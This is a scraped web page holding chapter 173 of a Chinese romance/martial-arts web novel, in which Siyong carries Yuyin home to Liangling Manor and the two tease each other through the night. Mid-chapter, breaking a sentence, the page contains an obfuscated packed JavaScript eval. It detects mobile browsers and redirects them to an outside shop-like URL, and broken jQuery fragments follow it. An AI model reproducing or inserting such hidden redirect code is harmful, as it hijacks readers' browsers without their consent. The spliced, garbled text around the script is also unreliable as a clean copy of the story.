173. 第一百七十三章
作品:《琴深几许》 却说这回去的路上,思鸿都在为刚才而胆战心惊,既然虞音能用琴声控制自己的意识那般久,倘若她从中得知当年事情真相,那可如何是好?
可瞧她此时的情态,倒也不像是发现了甚么,刚才不过是和自己玩笑一下罢了。思鸿心中一宽,不由又向上托了托虞音,好教她能抱得紧一些。
虞音伏在他肩头,见思鸿向上颠了颠她,便直起身子,坐在思鸿双臂上,望着他笑问,
“我重不重?要不要放我下来?”
思鸿还记得上次她这般相问,还是那回在忘川李掌柜的客店中,她站在自己脚面上的时候。
此刻自然不用那般疼痛,又有虞音搂着自己脖颈的力度,手上自然不觉得累,当即回道,
“阿音不重,这点力气我还是有的。”说罢朝她微微一笑,二人离得近了,气息互染,仍继续向主屋而行。
他这般回答,虞音听着极是受用,轻哼一声笑道,“量你也不敢说我重。”
含笑望了他片刻,只觉思鸿眉目如锋,极是俊美,已许久未曾这般近地细细瞧他了。心下不由想着,“要不是思鸿摊上这么个弱身子,凭着一身好功夫,在武林上定会是个名动江湖的少侠。”
又想,“哦不对,他再完美,也不会暴露自己的行踪。这倒楣的,从出生后不久便要躲着、藏着才行。不过那样的话,想必会有不少姑娘追求他,这样算来,还是眼下这般的好。”
思鸿见她唇角微扬,也不知想到了些甚么,忽觉她轻轻亲吻了一下自己的眉目,思鸿边走边笑问,“干么?今日怎地对我这般好?”
“长得好看还不让人亲了?要我整日打你、骂你,你才舒服么?”虞音望着他,又问,“你这院子究竟要走多久?怎么还没到啊?”
思鸿向前边不远轻抬下巴,言道,“快了,那里便是。”
虞音也懒得回头瞧,只道,“若换作是我,早到了。”说着双腿夹了夹,催促思鸿,“再快些,再快些。”
思鸿加快步伐,不由笑道,“你骑马么?怎么像赶轻雪一样?”
虞音闻言大笑,“哈哈,快些,再快些!”
二人在月色下一边嬉闹,一边向宅院后的主屋而行,约莫一盏热茶的功夫,这才赶到。
***
回了凉陵山庄后,思鸿凡事都熟络起来,服侍虞音愈发殷勤。虞音对此间却颇为陌生,上次来后,待了不到一日便走掉了。
眼下只觉这座宅院着实气派,犹胜司无双在忘川山庄的居所。
平日里思鸿不在时,闵锋打发几位嬷嬷来照看这里的一应物事,毕竟这宅子再怎么轩敞齐整,也绝不能像听风崖那样,无人看管仍然纤尘不染。
今夜回来得有些晚,嬷嬷们又不知思鸿此时已到凉陵山庄,是以各自都回了厢房安歇。
思鸿抱着虞音,悄没声进入北边主卧房,反手轻轻掩上门,这才放她下来。
屋子里黑漆漆的,只有些许月色洒入,虞音笑问,“你干么回自己家像做贼一样?”她嘴上虽然如此说,自己此时却也感觉有些许紧张。
“嬷嬷们都睡下了,扰她们起来,免不得又是一阵寒暄,她们已半年多没见到我啦。”思鸿轻声说着,拉起虞音的手,径往屋内而去,此处便是不点灯,他也熟得很。
这主室十分宽敞,其间用雕花木门与苏绣屏风做隔断,便是白日里站在正门,一眼也望不透整个屋子的布局。虞音被他牵着手绕来绕去,方瞧见卧榻所在,不禁嘴中嘟囔,
“深更半夜的,将人家带进自己卧房…还不点灯烛。”
思鸿将她安顿在榻边,教她坐下歇息,虞音咬着下唇,微微抬眼瞧着他。
“阿音,你稍等我一下,我去弄些温水来。洗洗再睡,舒服些。”思鸿说罢正欲转身,却被虞音扯住,思鸿听她刚才低声嘀咕,温言道,
“是怪我没点灯烛么?咱们先坚持一夜,明日我再教那些嬷嬷们各回各处,省得这会来打扰咱们。”
虞音又向下扯了扯他,思鸿只好微微俯下身,任她搂住脖颈。可虞音坐在榻上,总是低了些,思鸿不好这样一直俯着身子,腿脚没一会便酸麻了。
索性直接蹲了下来,仍教她抱着自己脖颈。如此一来,反倒是虞音要在榻上俯下身子,她不愿太过弯腰,在思鸿耳边说道,
“你急着去哪里?就不能老老实实歇息一下么?从回来到现在,你都没闲着。”
她一边说着,一边伸脚轻踢思鸿双膝,上面环着他,将他稍稍带起来,思鸿顺势便跪了下去,只听虞音又道,
“身子直起来些。”
思鸿依言将腰板挺得笔直,规规矩矩地跪在她面前,此番倒是比蹲着高了些许。可此时四更的天,夜深人静,这场面思鸿心中总觉得怪怪的,不由耳根发烫。
脸上红没红,却也瞧不太清楚。
虞音却不以为然,能不教她俯下身子环住思鸿脖颈,她倒极是愿意。
二人又相拥片刻,虞音起身双臂架在他肩上,对他嫣然一笑,言道,
“明日将你的这些嬷嬷妈妈们通通遣散,我要在这里练功,免得吓到她们。”
“我也正是此意。”思鸿抬起头,在她双臂之间,轻声又道,“不过阿音,你肯在这里练功,难不成愿意与我在这一直住下去?”
“一直住下去?”虞音将双臂撤回,微微鼓了会腮帮,又道,“你想闷死我不成?”
“我哪敢。”思鸿笑了笑,说道,“我是看你有长远打算,随口问问罢了。”
虞音道,“练功就算长远打算了?明明哪里都可以啊,我只是想快些追上无双姐。你要我在这久住,成日里见一些生面孔,又不得不说上两句,怕是要杀死我。”说罢小嘴一撅,瞧向别处。
她让人跪在面前,眼下好像是思鸿又亏欠了她许多一般。
可谁教思鸿愿意呢。
“不久住,不久住。”思鸿连声应着,又道,“不过阿音,无双的修为不是一日两日可追上的,你不要累坏了自己。”
虞音又转变脸色,朝他笑眯了眼睛,“那不要你多管,我是看你除了雪诺城,便是在这凉陵山庄生活得最久了,才肯和你待一阵子。”顿了顿,又道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351963|185990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,
“你明日便去好好处理这里的事情罢,虽说有你云舒贤弟替你看着,可好不容易回来一次,总是要前去瞧瞧的。”
思鸿跪着向前挪了挪,伏到她腿上,喜道,“还是阿音对我好,为我想得如此周全。”
虞音抚着他脑后发丝,轻笑一声,“这酒呢,我允许你少饮些,但若是像上两次那样喝得醉醺醺,我可不饶你。”
其实前几日刚到听风崖时,同那班姐姐们饮酒时,虞音是亲眼瞧见思鸿处境的。只是想着,如今自己决定少碰,也绝不能便宜了他。
只听思鸿说道,“那日我与阿音说过,从今往后只与你单独相处时才饮酒,这不是空话,我说到做到。便是明日大伙设有宴席,我只推说身子不适便罢,更何况,我本对这东西不太感兴趣。你是知道的,我从小身子极阴,饮酒不是太舒服。”
虞音仍未有让思鸿起身之意,掐着他脸言道,“这是你自己说的,我可没逼你。”
思鸿仰面笑道,“嗯,是我自己说的,往后无论遇到甚么事情,我都与阿音一起便是。”
虞音闻言浅浅一笑,“算你懂事,知道主人戒酒,便也跟着。”
思鸿问道,“那主人何时梳洗呀?都四更天了,也该歇息啦。”
“不急,反正明日我又无事。”虞音抱起双臂瞧着他。
思鸿心中叫苦,想必明日闵云舒定是将他回来的消息传出去了,凉陵山庄的庄众都很喜欢思鸿,便如忘川山庄众人敬重司无双一般。虽然二人治理方式大有不同,可在庄众心里,他们的分量是一样的。
到时群体来见,定然早早便会将他唤出去不可。
眼下虞音不教他休息,思鸿却也毫无办法,他一时也不敢妄动,只和虞音默然相对。
心下想着,阿音性子便是如此,有时看我情状为难,她反会欢喜,正如此时,也不知她心里究竟在想些甚么。
虞音让思鸿这般对着自己小半个时辰,忽而言道,“我先睡下了,你今夜便在此服侍我罢。”
思鸿闻言一怔,问道,“阿音,我去取些温水来,帮你擦身子好不好?你躺着便是。”
“不必,明日我自己梳洗,今夜太晚,有些累了。”虞音说罢,合衣而眠,连靴子也未曾脱去。
如今十月的天气,便连江南的夜间也渐渐转凉,怕虞音这般睡下凉着身子,思鸿便取来被衾,轻轻搭在她身上。
虞音的话他都会记在心里,既然她说让自己在此服侍,思鸿便哪都不去,整夜都伏在榻边陪着她,看着她稚嫩的面孔,自己才会安心。
不知觉间,也昏昏沉沉地睡去。
不知过了几个时辰,天色微明。思鸿忽觉身子一轻,天旋地转,竟被完完整整地卷入被子当中。
他尚在朦朦胧胧之间,待全然转醒,已仰面躺卧在榻上,被子外面缠着白丝带,一动不能动。
转头望向虞音,见她似乎未曾动过,仍闭目而眠,思鸿急道,“阿音,你这是做甚么…快放开我。”
“睡罢,地上休息不好。”
思鸿,“……”

